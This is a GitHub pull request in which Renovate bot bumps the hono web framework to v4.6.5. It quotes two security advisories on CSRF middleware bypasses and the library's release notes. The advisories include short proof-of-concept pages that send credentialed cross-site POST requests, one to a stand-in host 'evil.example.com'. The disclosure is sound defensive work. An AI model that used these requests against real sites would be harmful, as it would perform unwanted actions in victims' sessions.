Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

fix(deps): update dependency hono to v4.6.5 [security] #29

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open

fix(deps): update dependency hono to v4.6.5 [security] #29

wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Aug 22, 2024 •
edited
Loading

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
hono (source) 4.3.4 -> 4.6.5 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-43787

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

CVE-2024-48913

Summary

Bypass CSRF Middleware by a request without Content-Type herader.

Details

Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.

await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact

Bypass csrf protection implemented with hono csrf middleware.

Release Notes

honojs/hono (hono)

v4.6.5

Compare Source

Security fix for CSRF Protection Middleware

This release includes a security fix for CSRF Protection Middleware. If you are using CSRF Protection Middleware, please upgrade this hono package immediately.

Before this release, a request without a Content-Type header can bypass the protection. This fix does not allow it. See: GHSA-2234-fmw7-43wr

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.4...v4.6.5

v4.6.4

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.3...v4.6.4

v4.6.3

Compare Source

This release has many new features, but each feature is small, so we've released it as a patch release.

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.2...v4.6.3

v4.6.2

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.6.1...v4.6.2

v4.6.1

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.0...v4.6.1

v4.6.0

Compare Source

Hono v4.6.0 is now available!

One of the highlights of this release is the Context Storage Middleware. Let's introduce it.

Context Storage Middleware

Many users may have been waiting for this feature. The Context Storage Middleware uses AsyncLocalStorage to allow handling of the current Context object even outside of handlers.

For example, let’s define a Hono app with a variable message: string.

type Env = {
  Variables: {
    message: string
  }
}

const app = new Hono<Env>()

To enable Context Storage Middleware, register contextStorage() as middleware at the top and set the message value.

import { contextStorage } from 'hono/context-storage'

//...

app.use(contextStorage())

app.use(async (c, next) => {
  c.set('message', 'Hello!')
  await next()
})

getContext() returns the current Context object, allowing you to get the value of the message variable outside the handler.

import { getContext } from 'hono/context-storage'

app.get('/', (c) => {
  return c.text(getMessage())
})

// Access the variable outside the handler.
const getMessage = () => {
  return getContext<Env>().var.message
}

In the case of Cloudflare Workers, you can also access the Bindings outside the handler by using this middleware.

type Env = {
  Bindings: {
    KV: KVNamespace
  }
}

const app = new Hono<Env>()

app.use(contextStorage())

const setKV = (value: string) => {
  return getContext<Env>().env.KV.put('key', value)
}

Thanks @​marceloverdijk !

New features

Other changes

New Contributors

Full Changelog: honojs/hono@v4.5.11...v4.6.0

v4.5.11

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.10...v4.5.11

v4.5.10

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.9...v4.5.10

v4.5.9

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.5.8...v4.5.9

v4.5.8

Compare Source

Security Fix for CSRF Protection Middleware

Before this release, in versions 4.5.7 and below, the CSRF Protection Middleware did not treat requests including Content-Types with uppercase letters (e.g., Application/x-www-form-urlencoded) as potential attacks, allowing them to pass.

This could cause unexpected behavior, leading to a vulnerability. If you are using the CSRF Protection Middleware, please upgrade to version 4.5.8 or higher immediately.

For more details, see the report here: GHSA-rpfr-3m35-5vx5

v4.5.7

Compare Source

What's Changed
New Contributors

Full Changelog: honojs/hono@v4.5.6...v4.5.7

v4.5.6

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.5...v4.5.6

v4.5.5

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.5.4...v4.5.5

v4.5.4

Compare Source

What's Changed
New Contributors

Full Changelog: honojs/hono@v4.5.3...v4.5.4

v4.5.3

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.2...v4.5.3

v4.5.2

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.5.1...v4.5.2

v4.5.1

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.0...v4.5.1

v4.5.0

Compare Source

v4.4.13

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.12...v4.4.13

v4.4.12

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.11...v4.4.12

v4.4.11

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.10...v4.4.11

v4.4.10

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.9...v4.4.10

v4.4.9

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.8...v4.4.9

v4.4.8

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.7...v4.4.8

v4.4.7

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.6...v4.4.7

v4.4.6

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.5...v4.4.6

v4.4.5

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.4...v4.4.5

v4.4.4

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.3...v4.4.4

v4.4.3

Compare Source

What's Changed

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@coderabbitai coderabbitai
Copy link

coderabbitai bot commented Aug 22, 2024

Important

Review skipped

Review was skipped due to path filters

Files ignored due to path filters (1)
  • package-lock.json is excluded by !**/package-lock.json

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Thank you for using CodeRabbit. We offer it for free to the OSS community and would appreciate your support in helping us grow. If you find it useful, would you consider giving us a shout-out on your favorite social media?

Share
Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>.
    • Generate unit testing code for this file.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai generate unit testing code for this file.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai generate interesting stats about this repository and render them as a table.
    • @coderabbitai show all the console.log statements in this repository.
    • @coderabbitai read src/utils.ts and generate unit testing code.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (invoked as PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Additionally, you can add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 297ff8b to 8cb273f Compare October 15, 2024 17:48
@renovate renovate bot changed the title fix(deps): update dependency hono to v4.5.8 [security] fix(deps): update dependency hono to v4.6.5 [security] Oct 15, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants